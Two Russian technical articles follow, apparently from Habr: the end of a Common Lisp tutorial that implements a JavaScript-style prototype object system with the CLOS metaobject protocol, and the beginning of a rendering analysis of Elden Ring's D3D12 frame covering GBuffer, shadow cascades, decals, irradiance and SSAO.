Так вот, «определение непосредственного слота» хранит только самую общую информацию о слоте, в то время как определение «фактического» хранит в том числе информацию об индексе слота в памяти объекта, которая не может быть вычислена до финализации класса.
В принципе, все описанные механизмы можно переопределить через метаобъектный протокол, но мы ограничимся лишь несколькими.
Создадим наши классы определений слотов.
```
(defclass direct-hash-slot-definition (standard-direct-slot-definition)
()
(:default-initargs :allocation :hash))
(defclass effective-hash-slot-definition (standard-effective-slot-definition)
()
(:default-initargs :allocation :hash))
```
Теперь переопределим две обобщенные функции из MOP, которые указывают, классы каких определений слотов наш метакласс должен использовать, при их, определений слотов, создании.
```
(defmethod direct-slot-definition-class ((class prototype-class) &rest initargs)
(declare (ignore initargs))
(find-class 'direct-hash-slot-definition))
(defmethod effective-slot-definition-class ((class prototype-class) &rest initargs)
(declare (ignore initargs))
(find-class 'effective-hash-slot-definition))
```
Выше видно, что метаобъекты определений слотов принимают аргумент *:allocation*. Что это? Это спецификатор, указывающий, где выделяется место под поля объектов. Стандарт CL упоминает о двух видах таких спецификаторов. Первый — *:class*, который означает что место будет выделяться в самом классе, т.е. это аналог статических полей из других языков, и второй — *:instance* — место будет выделяться для каждого объекта класса, обычно в некотором массиве связаным с ним. Мы же указали свой спецификатор — *:hash*. Зачем? А затем, что по дефолту, поля у нас будут храниться в некоторой хэш-табличке, связанной с объектом, подобно тому как это делается в JavaScript.
Где же мы определим слот с хэш-табличкой? И, мы ведь где-то еще хотим хранить прототип объекта. Мы поступим следующим образом — мы определим класс *prototype-object*, который будет у нас вершиной иерархии всех классов, работающих с нашей системой. Как видно ниже, слоты с прототипом и с полями мы определим с *instance allocation*.
Прежде, чем мы создадим этот класс, мы должны разрешить нашим классам вида *prototype-class* наследоваться от стандартных классов и обратно. Функция *validate-superclass* вызывается в процессе финализации, который описан выше. В случае если хотя бы один из вариантов наследник-родитель, для любого из наследуемых классов, вернул *nil*, стандартный механизм CLOS сигнализирует исключение.
```
(defmethod validate-superclass ((class prototype-class) (super standard-class))
t)
(defmethod validate-superclass ((class standard-class) (super prototype-class))
t)
(defclass prototype-object ()
((hash :initform (make-hash-table :test #'eq)
:reader hash
:allocation :instance
:documentation "Hash table holding :HASH object slots")
(prototype :initarg :prototype
:accessor prototype
:allocation :instance
:documentation "Object prototype or NIL."))
(:metaclass prototype-class)
(:default-initargs :prototype nil)
(:documentation "Base class for all prototype objects"))
```
Давайте дополнительно определим две функции, подобные аналогичным из стандартной CLOS. Что они делают, думаю понятно:
```
(defun prototype-of (object)
"Retrieves prototype of an OBJECT"
(let ((class (class-of object)))
(when (typep class 'prototype-class)
(prototype object))))
(defgeneric change-prototype (object new-prototype)
(:documentation "Changes prototype of OBJECT to NEW-PROTOTYPE")
(:method ((object prototype-object) new-prototype)
(setf (prototype object) new-prototype)))
```
Теперь небольшой хак. В стандартной CLOS в случае, если мы в *defclass* не указали ни одного класса-родителя являющегося *standard-object*, а метакласс нашего класса — обычный *standard-class*, то такой класс, собственно сам *standard-object*, инжектится в список классов, от которых мы наследуемся. Мы поступим так же с нашими *prototype-class* и *prototype-object*. Для этого нужно переопределить стандартные функции, используемые конструктором объектов.
```
(defun fix-class-initargs (class &rest args &key ((:direct-superclasses dscs) '()) &allow-other-keys)
"Fixup :DIRECT-SUPERCLASSES argument for [RE]INITIALIZE-INSTANCE gf
specialized on prototype classes to include PROTOTYPE-OBJECT in
superclass list"
(remf args :direct-superclasses)
(unless (or (eq class (find-class 'prototype-object))
(find-if (lambda (c)
(unless (symbolp c) (setf c (class-name c)))
(subtypep c 'prototype-object))
dscs))
(setf dscs (append dscs (list (find-class 'prototype-object)))))
(list* :direct-superclasses dscs args))
(defmethod initialize-instance :around ((class prototype-class) &rest args &key &allow-other-keys)
(apply #'call-next-method class (apply #'fix-class-initargs class args)))
(defmethod reinitialize-instance :around ((class prototype-class) &rest args &key &allow-other-keys)
(apply #'call-next-method class (apply #'fix-class-initargs class args)))
```
Теперь самое интересное.
Первое — чтобы работа со слотами объектов шла через хэш-табличку, хранящуюся у нас в объектах, нам нужно переопределить для наших классов четыре стандартных операции работы со слотами — а именно: взятие значения слота, установка оного, проверка на связанность слота со значением и удаление такой связи. Все эти операции прекрасно реализуются хэш-табличкой; внутри этих операций, мы проверяем, является ли *:allocation* слота *:hash*, что указывает на то что наш слот хранится именно в ней, и если нет — то используем стандартный механизм доступа к полям объекта CLOS.
```
(defmethod slot-boundp-using-class ((class prototype-class) (object prototype-object) slotd)
(if (eq :hash (slot-definition-allocation slotd))
(nth-value 1 (gethash (slot-definition-name slotd) (hash object)))
(call-next-method)))
(defmethod slot-makunbound-using-class ((class prototype-class) (object prototype-object) slotd)
(if (eq :hash (slot-definition-allocation slotd))
(remhash (slot-definition-name slotd) (hash object))
(call-next-method)))
(defmethod slot-value-using-class ((class prototype-class) (object prototype-object) slotd)
(if (eq :hash (slot-definition-allocation slotd))
(values (gethash (slot-definition-name slotd) (hash object)))
(standard-instance-access object (slot-definition-location slotd))))
(defmethod (setf slot-value-using-class) (new-value (class prototype-class) (object prototype-object) slotd)
(if (eq :hash (slot-definition-allocation slotd))
(values (setf (gethash (slot-definition-name slotd) (hash object))
new-value))
(setf (standard-instance-access object (slot-definition-location slotd))
new-value)))
```
Теперь прототипы. Как известно, в JavaScript значение поля ищется по цепочке прототипов. В случае, если поля в объекте нет, рекурсивно обходится вся иерархия, и в случае отсутствия поля у какого-либо из объектов, возвращается undefined. В то же время, в JS существует механизм «перекрытия» полей. Это значит, что если в объекте устанавливается/определяется поле с именем, аналогичным имени поля какого-либо из объектов в иерархии прототипов, то при следующем доступе к этому полю, значение будет браться именно из него, без какого-либо следования по иерархии.
Мы реализуем аналогичную функциональность. Для этого нам потребуется переопределить обобщенную функцию *slot-missing*. Вызывается она тогда, когда функции работы со слотами(*slot-value, (setf slot-value), slot-boundp, slot-makunbound*) обнаруживают отсутствия поля с запрашиваемым именем в классе объекта. Эта обобщенная функция принимает крайне удобный набор аргументов — метаобъект класса объекта, сам объект, имя поля, имя «провалившейся» операции, и, для операции установки значения — новое значение поля.
Поступим следующим образом. До переопределения этой функции, создадим дополнительный класс сигналов(иключений Common Lisp), объекты которого будут выбрасываться в случае обнаружения отсутствия прототипа у объекта. Также, создадим дополнительный аналог вышеопределенной функции *prototype-of*.
```
(define-condition prototype-missing (condition)
()
(:documentation
"Signalled when an object is not associated with a prototype."))
(defun %prototype-of (class instance)
"Internal function used to retreive prototype of an object"
(if (typep class 'prototype-class)
(or (prototype instance) (signal 'prototype-missing))
(signal 'prototype-missing)))
```
Теперь определим наш метод. Схема работы следующая: для двух из четырех операций, мы рекурсивно обходим иерархию прототипов, и в конечном итоге выбрасываем исключение *prototype-missing*. Сверху стека вызовов мы устанавливаем обработчик, который, перехватывая сигнал, возвращает нам некоторое дефолтное значение — в данном случае *nil*. Две другие операции, как было объяснено выше, в рекурсивном обходе прототипов не нуждаются.
```
(defvar *prototype-handler* nil
"Non-NIL when PROTOTYPE-MISSING handler is already installed on call stack.")
(defun %slot-missing (class instance slot op new-value)
"Internal function for performing hash-based slot lookup in case
of it is missing from class definition."
(let ((hash (hash instance)))
(symbol-macrolet ((prototype (%prototype-of class instance)))
(case op
(setf
(setf (gethash slot hash) new-value))
(slot-makunbound
(remhash slot hash))
(t (multiple-value-bind
(value present) (gethash slot hash)
(ecase op
(slot-value
(if present
value
(slot-value prototype slot)))
(slot-boundp
(if present
t
(slot-boundp prototype slot))))))))))
(defmethod slot-missing ((class prototype-class) (instance prototype-object) slot op &optional new-value)
(if *prototype-handler*
(%slot-missing class instance slot op new-value)
(handler-case
(let ((*prototype-handler* t))
(%slot-missing class instance slot op new-value))
(prototype-missing () nil))))
```
Готово! Собственно, не более чем за 150 строк кода мы получили работающую прототипную объектно-ориентированную систему, подобную таковой в JavaScript. Более того, эта система полностью интегрирована со стандартной CLOS, и допускает, скажем, участие «обычных» объектов в иерархии прототипов. Другая особенность — мы можем совсем не создавать своих классов объектов, а обходиться лишь одним *prototype-object*, в случае если мы хотим от нее поведения, полностью идентичного JS.
Что можно добавить? Наверное, поверх такой системы с помощью *reader-макросов* можно сделать JSON-подобный синтаксис. Но, это уже тема отдельной статьи.
Напоследок несколько примеров:
```
(defvar *proto* (make-instance 'prototype-object))
(defclass foo ()
((a :accessor foo-a))
(:metaclass prototype-class))
(defvar *foo* (make-instance 'foo :prototype *proto*))
(defvar *bar* (make-instance 'prototype-object :prototype *foo*))
(setf (slot-value *proto* 'x) 123)
(slot-value *bar* 'x)
;;; ==> 123
(setf (foo-a *foo*) 456)
(slot-value *bar* 'a)
;;; ==> 456
(setf (slot-value *bar* 'a) 789)
(setf (foo-a *foo*) 'abc)
(slot-value *bar* 'a)
;;; ==> 789
;;; because we've introduced new property for *bar*
(defclass quux ()
((the-slot :initform 'the-value))
(:documentation "Simple standard class"))
(defvar *quux* (make-instance 'quux))
(change-prototype *bar* *quux*)
(slot-value *bar* 'the-slot)
;;; ==> THE-VALUE
(slot-value *bar* 'x)
;;; When attempting to read the slot's value (slot-value), the slot
;;; X is missing from the object #.
;;; [Condition of type SIMPLE-ERROR]
```
[1] <http://love5an.livejournal.com/306670.html>
[2] <https://github.com/Lovesan/Prototype>
|
https://habr.com/ru/post/230619/
| null |
ru
| null |
# Как рендерится кадр Elden Ring
Введение
========
После выхода Elden Ring мне захотелось заглянуть за кулисы этой игры и узнать, что же там находится. Когда я смотрел анализ PC-версии игры [Elden Ring в Digital foundry](https://youtu.be/5EtcrUrsl38?t=469), то заметил, что MSI-Afterburner/Rivatuner сообщает, что эта игра основана на D3D12, и это меня восхитило. Потому что а) последняя изученная мной игра была старой и работала на D3D9 (подробнее об этом в будущем), а игра до неё была проектом 2022 года, работающим на D3D11, и это стало большим разочарованием; поэтому почти полгода я не изучал современные игровые технологии выпущенных игр для PC; б) это значит, что в игре будет много интересных функций D3D12, используемых хитрым способом. Что может быть лучше использования современного графического API для игры на PC в 2022 году?
На самом деле, всё оказалось иначе. Меня немного разочаровали решения разработчиков, но не очень сильно; подробнее об этом я напишу ниже. Однако любому геймеру очевидно, что в подобной игре главное — базовая боёвка, лор и геймплей, а графика уровня AAA — лишь дополнение, обеспечивающее более глубокий лор. Первые демонстрации игры выглядели потрясающе (ну, этим всегда славились E3 и все AAA!), но визуальное качество и уровень детализации готовой игры не так хороши (на мой взгляд). На самом деле, в Bloodborne и Sekiro качество с точки зрения визуальной красоты было выше. Так что да, меня как исследователя графики немного разочаровала игра для PC на D3D12. Зато как геймер я очень доволен!
Конфигурации
============
На этот раз захваты были выполнены только на одном из моих PC, я не хотел тратить больше времени, как при анализе предыдущей игры, когда я делал захваты конфигураций на двух машинах и копировал файлы сохранений по сети! На этот раз я выбрал PC с **RTX 3080**, **Ryzen 5950x** и **32 ГБ ОЗУ**. Параметры качества игры (**Quality Settings**) установлены на максимум (**Maximum**), а разрешение (**Resolution**) выбрано равным **1080p** и включено автоматическое распознавание наилучших параметров (**Auto-Detect Best Rendering Settings**) (этот параметр работает как динамическое разрешение, только для практически всех графических аспектов, а не только для разрешения). Но я всё равно думаю, что эта настройка никак не повлияет на игру и не будет ничего менять, так как тестовый PC достаточно хорош для такой игры.
Учитывая всё это, я удивлён «странным» выбором параметров графики: некоторые параметры, например, качество текстур (**Texture Quality**), имеют четыре конфигурации, а другие, например, качество сглаживания (**Antialiasing Quality**) — только три конфигурации. Всё можно было организовать гораздо лучше!
По старой привычке я сделал множество захватов различных областей игры, чтобы лучше разобраться в теме, потому что один захват может содержать больше информации о каком-то аспекте, чем другой. Кроме того, на всякий случай я делал несколько версий одного захвата в одной и той же области и с одинаковым поворотом камеры.
Я больше склонен ссылаться на захваты кинематографических вставок, чем на захваты самого геймплея: они используют один движок и имеют примерно одинаковые очереди рендеринга, но я заметил (и это достаточно распространено), что во вставках всё выкручено на максимум и есть некоторые любимые мной эффекты (например, DoF), которые совершенно отсутствуют в геймплее. С другой стороны, я заметил, что игре не удаётся работать со стабильными 60 fps во время геймплея, когда игрок находится под открытым небом, однако внутри помещений (пещер, подземелий, замка и т. п.) и во время кинематографических вставок выдаёт стабильные 60 fps. Поэтому в захватах из вставок гарантированно будут отсутствовать даунскейлинг/динамическое разрешение и тому подобное.
Примечание: если вы захотите выполнять захваты в этой игре, то это может стать настоящим кошмаром из-за ПО EasyAntiCheat, которое запускается для запуска самой игры, поэтому практически все привычные инструменты практически бесполезны против этой игры. Поэтому вам придётся найти способ это обойти. Однако в целом для меня это оказалось довольно проблемно! И даже после успешного захвата игра часто вылетала. Я больше не буду углубляться в эту тему, но могу намекнуть, что EasyAntiCheat, вероятно, назвали «easy», потому что этот античит легко обмануть!
Что находится внутри кадра
==========================
Как это обычно бывает у меня, я сделал несколько захватов из различных областей игры. Поэтому если вы видите захват области X, это один захват этого места, но, возможно, я сделал ещё десять захватов того же места на протяжении нескольких секунд. Показанные ниже скриншоты могут различаться в пределах около пяти кадров, потому что я хотел рассмотреть некоторые аспекты, которые не всегда присутствуют в кадре одновременно. Более того, лично я **обожаю** пограничные случаи, поэтому если, например, я анализирую DOF, то выбираю сцену с очень различающимися фоном и передним планом, и, вероятно, кинематографический захват, потому что именно во вставках AAA-игр DOF обычно проявляется во всю силу! Если мы изучаем блум, то почему бы не найти сцену с огнём и освещением, чтобы захват был очень хорошим, и так далее…
D3D12
-----
Как я говорил выше, ещё до того, как делать захваты, я знал, что в порте игры для Windows используется D3D12, и был очень рад этому. Но оказалось, что если разработчик создаёт качественные игры для PlayStation, ситуация с портом для PC необязательно будет такой же. На самом деле, я считаю, что игре вполне было бы достаточно D3D11 или даже более старой версии, поскольку она практически не использует возможности D3D12. По крайней мере, в ней, похоже, не используется технология VRS, которая для меня является одной из самых интересных функций D3D12. Mesh Shaders, Raytracing, Sampler Feedback, Direct Storage — всё это совершенно не используется в порте Elden Ring для PC с D3D12.
Draw
----
### Копирование/создание ресурсов
Каждый кадр в Elden Ring начинается с приблизительно 25 тысяч команд [CopyDescriptorsSimple](https://docs.microsoft.com/en-us/windows/win32/api/d3d12/nf-d3d12-id3d12device-copydescriptorssimple) и [CreateConstantBufferView](https://docs.microsoft.com/en-us/windows/win32/api/d3d12/nf-d3d12-id3d12device-createconstantbufferview). Их назначение понятно из названия, они подготавливают данные ресурсов к доступу. Если вы чаще всего работали с OpenGL, а теперь с Vulkan (то есть слабо знакомы с DX), то можете сказать: «Ага, то есть так работают с DX12», но на самом деле это не так! Можете попробовать делать захваты из опенсорсных игр/движков на D3D12, можете сделать захваты из игр Unreal на D3D12, можете взять новый проект Unreal на основе RHI D3D12, упаковать его и сделать захваты в нём, даже использовать [BaseMark GPU Benchmark](https://www.guru3d.com/files-details/basemark-gpu-benchmark.html) для D3D12 — во всех этих играх/приложениях D3D12 вы заметите два основных аспекта:
1. Они редко вызывают эти функции (а то и вовсе их не вызывают)
2. Они не подготавливают «все» просмотры доступа к ресурсам до выполнения рендеринга кадра.
Чтобы чётче понять эту проблему (которая может быть [вероятной причиной споров о торможениях Elden Ring](https://www.youtube.com/watch?v=5EtcrUrsl38)), можете ниже посмотреть на последовательности первого захвата из BaseMarkGPU; как видите, с начала кадра и до конца, это вся работа над кадром, как и ожидается. С другой стороны, последовательность второго захвата — это кадр Elden Ring; вы видите, что сама работа над кадром (отрисовка/вычисления) происходит в последней четверти длительности кадра, и это очень странно!
*Не обращайте внимания на количество событий, BaseMarkGPU предназначен для стресс-тестов GPU*
Это интересно, сбивает с толку и наводит на множество вопросов. Самый простой из них: зачем? Второй по простоте вопрос в моём списке: *Разве никто не заметил этого в процессе работы над игрой?* Приходится довольно долго ждать [ExecuteCommandLists](https://docs.microsoft.com/en-us/windows/win32/api/d3d12/nf-d3d12-id3d12commandqueue-executecommandlists). Это совершенно точно связано с простоями и торможением ЦП! Не любое «потерянное время» должно быть связано с Device Wait/Idle, он может относиться и ко многому другому. И чтобы подтвердить теорию простоев ЦП, можно сравнить длительность работы GPU и ЦП, долгий период ожидания заметен сразу.
*Длительность работы GPU*
*Длительность работы ЦП*
Показанный на изображениях маркер находится в «фиксированной» точке времени жизни кадра, но на двух «шкалах». Когда маркер кадра на GPU Duration Scale находится на ***0.005632ms***, эта точка соответствует ***17.8682ms*** на CPU Duration Scale. Именно тогда начинается работа GPU!
Если вы ещё не поняли, ниже я объясняю шкалы времени работы ЦП-GPU: по сути, мы как бы «вырезали» это первое изображение (последовательность кадра GPU) и «вставили» его туда, где оно должно быть на втором изображении (последовательность кадра ЦП).
Я считаю, что при другой организации/архитектуре кадра Elden Ring могла бы работать гораздо быстрее и без торможений!
### Copy и Clear
Ничего особенно важного, это просто три прохода копирования/очистки данных предыдущего кадра, последовательность [CopyBufferRegion](https://docs.microsoft.com/en-us/windows/win32/api/d3d12/nf-d3d12-id3d12graphicscommandlist-copybufferregion) и [ClearDepthStencilView](https://docs.microsoft.com/en-us/windows/win32/api/d3d12/nf-d3d12-id3d12graphicscommandlist-cleardepthstencilview). В основном эти операции связаны с GBuffer, например, добавление барьеров ресурсов, а затм копирование содержимого render target GBuffer из предыдущего кадра (Color, Surface, Normals, AO, Depth, SSS и т. п.), так как они могут понадобиться в текущем кадре.
**Временное кольцо**
Если бы я выбирал этой игре название, связанное с графикой, то она называлась бы ***«Временным кольцом»***, а не «Кольцом Элдена», потому что многие данные переносятся из предыдущего кадра (копируются), а многие вещи накапливаются между кадрами, становятся «временнЫми». Когда мы слышим это слово, то обычно знаем, что тема будет касаться сглаживания, однако во «Временном кольце» всё заходит гораздо дальше — AA является временным, SSAO, Glare, даже тени — тени из предыдущего кадра переносятся в текущий! А те аспекты, которые не используют RT предыдущего кадра, используют скорость или дельту движения из предыдущего кадра. Я заметил, что это применимо практически к любому важному этапу/эффекту в игре — они тем или иным образом используют данные предыдущего кадра. При глубоком изучении игры начинаешь привыкать к префиксу ***Prev***!
### Вершины Elden
Один из аспектов, сильно интересующих меня в разных играх — это описания вершин. Мне всегда любопытно, используется ли в движке ленивое описание вершин (как я делал когда-то давно) и одно и то же описание вершин применяется для всего (обычно со скиннингом даже для мешей без скиннинга), или же применяются продуманные разные описания, соответствующие различным ситуациям. Или же они крайне специализированы и используют множество описаний вершин для разных типов одного и того же объекта. И насколько я могу судить, разработчики Elden Ring относятся к третьей категории и создают микроспециализированные описания вершин. Ниже представлены самые широко используемые в движке описания (но не все, существующие в игровом движке/рендерере).
**Описания вершин Elden Ring - большинство мешей (камни, скалы, здания и т. п.)**
**Описания вершин Elden Ring - меши со скиннингом (персонажи, враги, животные и т. п.)**
**Описания вершин Elden Ring - меши со скиннингом (ткань)**
**Описания вершин Elden Ring - меши со скиннингом (ткань под тканью)**
**Описание вершин Elden Ring - меши листвы**
**Описания вершин Elden Ring - некоторые камни**
**Описание вершин Elden Ring - некоторые виды инстансинга (SpeedTree)**
**Описания вершин Elden Ring - некоторые меши (используются только в течение прохода теней)**
За многие годы я научился любить и практиковать специализированные вещи, например, описания вершин, но не настолько специализированные! К примеру, если вы думаете, что это все вариации описаний вершин ткани, то вы ошибаетесь — есть ещё пара вариаций для описаний мешей ткани; одна из них предназначена для ***ткани под тканью, уже находящейся под тканью***! Вы легко можете увидеть в игре эти слои одежды и брони, особенно в кинематографических вставках — лучше всего это заметно на Мелине!
### CSM прямого освещения
Несколько ранних проходов только глубин для направленного/непосредственного освещения (солнечного света), также называемых Shadow Map Cascades. Это может быть от 6 до 14 проходов глубин (возможно, и больше, но это максимум, который я обнаружил на своих захватах), всё зависит от количества детализации (количества объектов/мешей на кадр), то есть может быть 6 или 8 проходов для кадра в подземелье, но 14 (а может и больше) в открытом мире над землёй. В конечном итоге остаётся 5 каскадов, всегда сохраняемых размером ***8192\*4096*** формата ***R16\_TYPELESS***. Всегда! Даже когда игрок находится в подземелье, они имеют тот же размер. Постоянство — это хорошо… иногда!
Ниже показано несколько примеров, в третьей строке увеличена яркость для демонстрации большего количества деталей.
**Изображения в высоком разрешении**
*8192\*4096 – R16\_TYPELESS*
*8192\*4096 – R16\_TYPELESS*
*8192\*4096 – R16\_TYPELESS*
*8192\*4096 – R16\_TYPELESS*
*8192\*4096 – R16\_TYPELESS*
### Проходы цвета [GBuffer/отложенное затенение]
Так как игра рендерится с отложенным затенением, на этом этапе будет создаваться последовательный набор отложенного затенения, передаваемого для создания окончательных render target GBuffer. Количество (длительность) этих проходов может разниться в зависимости от количества отрисовываемых элементов. В пещере или киновставке может быть 8-12 проходов отрисовки, а на большом открытом пространстве — 20 или больше. В конечном итоге мы приходим к обычному GBuffer, здесь нет ничего непривычного.
*Готовая Swapchain*
*Цвет — R8G8B8A8\_TYPELESS*
*Глубина — D32S8\_TYPELESS*
*Нормали — R10G10B10A2\_UNORM*
*Поверхности — R8G8B8A8\_UNORM*
В render target определения поверхностей используются отдельные каналы. Один — это metallic, второй — roughness, а третий довольно «необычен». Он для теней *(используется несколькими этапами далее)*.
*R*
*G*
*B*
***[A] — это сплошной белый, не используется, поскольку позже создаются другие полные RT и используются только их [R] или [A]***
А вот таймлапс render target GBuffer.
*Цвет*
*Глубина*
*Нормали*
*Поверхности*
*R поверхностей*
*G поверхностей*
*B поверхностей*
Стоит заметить, что обычно в GBuffer есть два render target, которые не делают **ничего**, они полностью чёрные — в одном проходе находятся все основные render target + эти два, в другом проходе эти два хранят некоторые из значений основных render target, при том что сами render target полностью чёрные. Это происходит совершенно случайно и, насколько я могу судить, какой-то предсказуемый паттерн отсутствует.
И, разумеется, в некоторых кадрах/областях будут существовать значения в отдельном Render Target для **Emissive** (свечения), при котором предыдущий кадр имеет почти 0 свечения, а RT чёрный, но в примере кадра ниже показан полезный render target свечения, сопровождающий GBuffer.
*Окончательный кадр Swapchain — 1920\*1080*
*Вспомогательный Render Target свечения — 1920\*1080 – R16G16B16A16\_FLOAT*
#### Дизеринг
Многие объекты в Elden Ring поддерживают дизеринг-прозрачность и во время отрисовки им передаётся глобальная одноканальная текстура дизеринга размером 8\*8. Вне зависимости от того, видите ли вы дизеринг этих объектов, при необходимости они отрисовываются готовыми для этого. Трава, деревья, все типы листвы, а также броня и одежда персонажа, флаги и знамёна, NPC и враги — все они изначально поддерживают дизеринг.
Это увеличенная версия глобальной текстуры дизеринга с линейной фильтрацией. А вот как она выглядит в реальном размере:
### Декали
Отрисовка декалей поверх отложенного GBuffer происходит в последовательности DrawIndexedInstanced в зависимости от вариаций декалей и их количества. Здесь особо ничего интересного.
Итак, у нас есть отложенный GBuffer
*1920\*1080 – цвет*
*1920\*1080 — поверхность (Metallic, Roughness...)*
*1920\*1080 — нормали*
*1920\*1080 — глубина*
А закончить нам нужно кадром, показанным ниже, на котором рядом с двумя мёртвыми существами находятся два больших пятна крови.
*Кадр swapchain в конце*
Мы пройдём по двум операциям отрисовки, для каждой из них в качестве маски используется декаль, а также несколько дополнительных текстур (таких как diffuse, specular и normal) для проецирования декали в нужное положение.
**Отрисовка 1**
*Кадр на входе (декалей пока нет)*
*512\*512 BC4\_UNORM*
*256\*256 BC7\_UNORM*
*256\*256 BC1\_TYPELESS*
*256\*256 BC1\_TYPELESS*
*Кадр на выходе*
*Свойства поверхностей GBuffer на выходе*
**Отрисовка 2**
*Кадр на входе (с одной отрисовкой декали)*
*512\*512 BC4\_UNORM*
*256\*256 BC7\_UNORM*
*256\*256 BC1\_TYPELESS*
*256\*256 BC1\_TYPELESS*
*Кадр на выходе*
*Свойства поверхностей GBuffer на выходе*
**Отрисовка N…**
Небольшое примечание: маска крови на самом деле не красная, в ней используется BC4\_UNORM, то есть это просто совпадение, что маска крови «выглядит» красной.
Также стоит заметить, что проецирование декалей не всегда использует стандартный кубический объём, обычно применяемый во многих других играх и движках, а иногда реализуется при помощи «усечённой призмы» или «срезанной сверху призмы», которая, по сути является кубом, только деформированным. Поэтому это можно (приблизительно) воспринимать вот так:
Это действительно прекрасное решение, потому что куб используется для проецирования объектов сверху вниз, например, следа от ноги, и работает хорошо. Но если для вещей наподобие большого пятна крови деформировать этот куб, чтобы он больше напоминал усечённую призму + повернуть его, то это придаст финальной декали немного деформации и растянутости, делая её как будто уникальной каждый раз, когда вы её видите, несмотря на то, что используется одна и та же маска декали. Допустим, у нас есть большое пятно крови:
Оно используется на двух показанных ниже кадрах, но проекция каждый раз выглядит иначе, потому что каждый раз куб деформируется на разную величину и имеет другое направление.
Возможно, при изучении определений поверхностей GBuffer будет заметнее вариативность и растянутость в финальной спроецированной текстуре пятна крови.
В частности, на первом из двух изображений пятно совершенно непохоже на текстуру декали из-за большой доли растянутости текстуры по вертикальной оси.
Если отложенным декалям передаётся часть с ресурсами, то как насчёт параметра шейдеров? Вот список параметров декалей, передаваемый шейдерам
**MTD Param**
Непонятно, зачем использовать такие «несвязанные» параметры в одной структуре. Разве не было лучше использовать в этой структуре то, что связано с декалями, а всё остальное применять там, где нужно?
**Instance Data**
Обратите внимание, что этот массив структур InstanceData всегда имеет два элемента, вне зависимости от количества экземпляров отрисовываемых декалей и даже без учёта того, если ли декали. Всегда два элемента в массиве.
**Model Param**
**Decal Param**
Наконец-то! Хотя бы одна из четырёх передаваемых шейдеру структур полностью относится к делу.
А теперь о самом интересном аспекте декалей в Elden Ring. Декали используются (обычно) для детализации объектов сцены/мира, и один из них (как вы могли видеть в предыдущих разборах) — это следы подошв. В этом смысле Elden Ring не отличается от других игр. Посмотрите на показанный ниже готовый кадр: зная, как выглядят декали следов, сможете ли вы найти их в мире, и если они есть, то где эти следы проецируются? И самое главное — можете ли вы прикинуть по готовому кадру, сколько видов следов отрисовывается как декали? Считайте это викториной и при желании откройте ответ под спойлером!
*Готовый кадр*
*Diffuse декали — 256\*256 BC1\_TYPELESS*
*Specular декали — 256\*256 BC1\_TYPELESS*
*Bump декали — 256\*256 BC7\_UNORM*
*Маска декали — 512\*512 BC4\_UNORM*
*За множество проведённых в игре часов я не нашёл ни одной вариации следов, кроме той. Она используется для всего!*
**Показать ответ**
Итак, вы ошибаетесь, если думаете, что **следов нет** — на самом деле в этом кадре спроецировано и отрисовано 60 различных следов, и ни один из них невидим ни игроку, ни на финальном кадре, они просто скрыты где-то за теми далёкими деревьями! Единственная декаль, которую вы видите из почти семидесяти команд отрисовки декалей — то пятно крови рядом с птицей. Декали занимают не так уж мало ресурсов, поэтому я думаю, что в Elden Ring можно было бы оптимизировать!
А поскольку я люблю декали и следы, в местах, где много грязи, есть много замечательных декалей. Ниже показан пример развития GBuffer декалей в области, где много грязи и декалей.
*Готовый кадр*
*Цвет GBuffer декалей*
*Нормали GBuffer декалей*
*Поверхности GBuffer декалей*
***Обратите внимание, что эти изображения GBuffer анимированы!***
### Irradiance и Specular Accumulation
Имея полностью готовый GBuffer, его можно использовать множеством различных способов. Он в месте с кубической картой или текстурой IBL, а также запечённым IrradianceVolume(XYZW) передаются шейдеру, который выполняет все необходимые вычисления освещения, создавая ***Irradiance RT*** и ***Specular Accumulation*** **RT**.
*Cubemap(IBL) + GBuffer’s ( Normals + Depth + Surface) + Irradiance Volume XYZW **=** Irradiance RT + Specular Acc RT*
***Примеры кубических карт (IBL) Elden Ring, каждая из которых имеет по 6 слайсов (+-X, +-Y, +-Z) с 5 mip-текстурами (от 128\*128 до 8\*8) в формате BC6\_UFLOAT***
На некоторые области влияет одна кубическая карта, а на другие — две или более.
*Irradiance Volume X*
*Irradiance Volume Y*
*Irradiance Volume Z*
*Irradiance Volume W*
На показанных выше анимациях демонстрируется запечённый Irradiance Volume для одной области; в данном случае объём имеет 72 слайса, но это число варьируется в зависимости от размера объёма, оно может быть больше (более 100 слайсов) или меньше (20 слайсов и менее). Эти запечённые данные Irradiance обычно имеют формат BC7\_UNORM, однако размеры тоже меняются в зависимости от количества слайсов, в данном случае это 120\*124.
И, разумеется, как и в случае с кубическими картами, у некоторых областей будет один объём, а у других несколько, это зависит от «пространства», на которое смотрит игрок.
*X*
*Y*
*Z*
*W*
*Ещё один пример объёма/3d-текстуры размером 236\*84 из 144 слайсов*
Итак, эти два элемента (IBL + Irradiance Bakes) совместно с GBuffer приводят к созданию ***Irradiance RT***, а также ***Specular Accumulation*** **RT**.
*Irradiance RT – 1920\*1080 – R11G11B10\_FLOAT*
*Specular Accumulation RT – 1920\*1080 – R11G11B10\_FLOAT*
И кадр киновставки в этом не отличается — все входные данные точно такие же; я надеялся, что во вставках используется кубическая карта большего разрешения или что-то подобное, но увы, они одинаковые…
*Irradiance RT – 1920\*1080 – R11G11B10\_FLOAT*
*Specular Accumulation RT – 1920\*1080 – R11G11B10\_FLOAT*
### Даунсэмплинг глубин
Даунсэмплинг глубин выполняется дважды. Один раз здесь (Graphics Queue) и один раз в Compute Queue. Тот, который выполняется здесь (пока) не оправдан, его результаты не используются, но стоит упомянуть, что он существует! Другой этап под названием Depth Downsampling находится в compute и его результаты используются; об этом мы поговорим ниже.
*1920\*1080 – D32S8\_TYPELESS*
*960\*540 – D32S8\_TYPELESS*
*480\*270 – D32S8\_TYPELESS*
***Даунсэмплированные до 960\*540 глубины очень важны в Elden Ring, поскольку большинство эффектов, использующих глубины, пользуются этими данными, а не полнокадровым target глубины 1920\*1080***
### SSAO
Генерация SSAO выполняется за три этапа. Вот примеры двух кадров
#### 1. Генерация SSAO + вращения
При помощи имеющихся глубин половинного размера + render target нормалей, а также вспомогательной текстуры «Random Rotations» мы получаем новый render target SSAO.
*in Depth – 960\*540 – D32S8\_TYPELESS*
*in Normal – 1920\*1080 – R10G10B10A2\_UNORM*
*in RandomRot – 64\*64 – R8G8B8A8\_UNORM*
*Out SSAO – 960\*540 – R8G8B8A8\_UNORM*
*in Depth – 960\*540 – D32S8\_TYPELESS*
*in Normal – 1920\*1080 – R10G10B10A2\_UNORM*
*in RandomRot – 64\*64 – R8G8B8A8\_UNORM*
*Out SSAO – 960\*540 – R8G8B8A8\_UNORM*
